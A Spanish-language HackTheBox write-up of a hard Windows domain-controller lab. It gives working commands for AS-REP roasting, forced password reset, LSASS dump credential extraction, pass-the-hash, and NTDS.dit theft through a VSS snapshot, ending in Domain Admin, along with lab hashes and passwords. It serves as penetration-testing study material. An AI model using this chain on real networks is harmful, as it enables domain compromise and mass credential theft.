Info de la Box
| Plataforma | HackTheBox |
| Dificultad | Hard |
| OS | Windows (Domain Controller) |
| Técnicas Clave | AS-REP Roasting, ForceChangePassword, LSASS Dump Analysis, VSS + NTDS.dit |
Resumen del Ataque
SMB null session en el share profiles$ → extrajimos ~300 usernames potenciales → AS-REP Roasting a la cuenta support → crackeamos el hash → BloodHound mostró que support tiene ForceChangePassword sobre audit2020 → cambiamos la password vía rpcclient → audit2020 tenía acceso al share SMB forensic → encontramos lsass.DMP → pypykatz extrajo el hash NTLM de svc_backup → evil-winrm como svc_backup → SeBackupPrivilege → diskshadow VSS snapshot → robocopy /b NTDS.dit → secretsdump → Domain Admin.
La cadena más larga que he hecho. Cada paso se construyó sobre el anterior.
Enumeración
sudo nmap -sCV -p 53,88,135,389,445,593,3268,5985 -Pn -T4 $ip
| Puerto | Servicio | Notas |
|---|---|---|
| 88 | Kerberos | DC confirmado |
| 389 | LDAP | Dominio: BLACKFIELD.local |
| 445 | SMB | Signing required |
| 5985 | WinRM | Usado para shell |
SMB — Cosecha de Usernames
smbclient //$ip/profiles$ -U '' -N -c 'ls' | awk '{print $1}' | grep -v '^\.' | grep -v '^$' | grep -v 'blocks' > users.txt
# ~300 usernames potenciales del share profiles$
Foothold — AS-REP Roasting
impacket-GetNPUsers BLACKFIELD.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt
# La cuenta support no tiene preauth → obtuvimos el hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Crackeado: #00^BlackKnight
Primeras creds: support:#00^BlackKnight
BloodHound → ForceChangePassword
bloodhound-python -u 'support' -p '#00^BlackKnight' -ns $ip -d BLACKFIELD.local -c All
# BloodHound: support tiene ForceChangePassword sobre audit2020
Cambiamos la password de audit2020 sin saber la original:
rpcclient -U 'support%#00^BlackKnight' $ip
rpcclient $> setuserinfo2 audit2020 23 'Password@1234'
Share Forensic → LSASS Dump
audit2020 tenía acceso al share SMB forensic que contenía memory dumps.
smbclient //$ip/forensic -U 'BLACKFIELD.local/audit2020%Password@1234'
# Descargamos memory_analysis/lsass.DMP
# ADVERTENCIA: los archivos .zip eran de 0 bytes por mget corrupto — usar el .DMP directamente
Extrajimos credenciales del LSASS dump:
pypykatz lsa minidump lsass.DMP
# Obtuvimos hash NTLM de svc_backup: 9658d1d1dcd9250115e2205d9f48400d
evil-winrm -i $ip -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
Escalación de Privilegios — SeBackupPrivilege → NTDS.dit
svc_backup tenía SeBackupPrivilege y SeRestorePrivilege. En un DC, eso significa que podemos agarrar NTDS.dit — la base de datos de passwords del dominio.
La diferencia:
reg save hklm\sam= hashes de cuentas locales. Funciona en cualquier Windows.- NTDS.dit = base de datos de passwords del dominio. Solo en DCs. Bloqueada por Active Directory — no se puede copiar directamente.
- VSS (Volume Shadow Copy) crea un snapshot congelado donde NTDS.dit ya no está bloqueado.
VSS Snapshot + Copiar NTDS.dit
# Debe ejecutarse desde un directorio con permisos de escritura — NO Documents
cd C:\Temp
echo "set context persistent nowriters" | out-file C:\Temp\shadow.dsh -encoding ascii
echo "add volume c: alias pwn" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "create" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "expose %pwn% z:" | out-file C:\Temp\shadow.dsh -append -encoding ascii
diskshadow /s C:\Temp\shadow.dsh
# Shadow copy creada y expuesta como Z:\
# Copiar NTDS.dit usando backup privilege (flag /b salta ACLs)
robocopy /b z:\Windows\NTDS\ C:\Temp\ ntds.dit
# Guardar SYSTEM hive
reg save hklm\system C:\Temp\system
# Descargar ambos
download ntds.dit
download system
Secretsdump → Domain Admin
impacket-secretsdump -ntds ntds.dit -system system LOCAL
# Obtuvimos: Administrator:500:...:184fb5e5178480be64824d4cd53b99ee:::
evil-winrm -i $ip -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
Credenciales
| Username | Password/Hash | Origen |
|---|---|---|
| support | #00^BlackKnight | AS-REP Roasting |
| audit2020 | Password@1234 | ForceChangePassword |
| svc_backup | 9658d1d1dcd9250115e2205d9f48400d (NTLM) | pypykatz en lsass.DMP |
| Administrator | 184fb5e5178480be64824d4cd53b99ee (NTLM) | secretsdump de NTDS.dit |
Lo que Aprendí
pypykatz — Equivalente en Linux de Mimikatz. Parsea LSASS memory dumps offline. pypykatz lsa minidump lsass.DMP y obtenés credenciales de cada usuario que tenía sesión en esa máquina.
VSS + NTDS.dit — en un DC, NTDS.dit está bloqueado por AD. Usá diskshadow para crear un snapshot, exponelo como una letra de drive, y después robocopy /b para copiar con backup privileges.
ForceChangePassword vía rpcclient — setuserinfo2 <user> 23 '<newpass>' cambia la password de cualquier usuario si tenés el ACL right. No necesitás saber la password original.
SMB mget produce archivos de 0 bytes para archivos grandes a veces. Siempre verificar los tamaños de archivo. Usar el .DMP directamente en vez del .zip.
diskshadow DEBE ejecutarse desde un directorio con permisos de escritura. Siempre cd C:\Temp primero. No Documents, no Desktop.
Patrón: “Box DC + SeBackupPrivilege = VSS snapshot → robocopy /b NTDS.dit → secretsdump → todos los hashes del dominio.”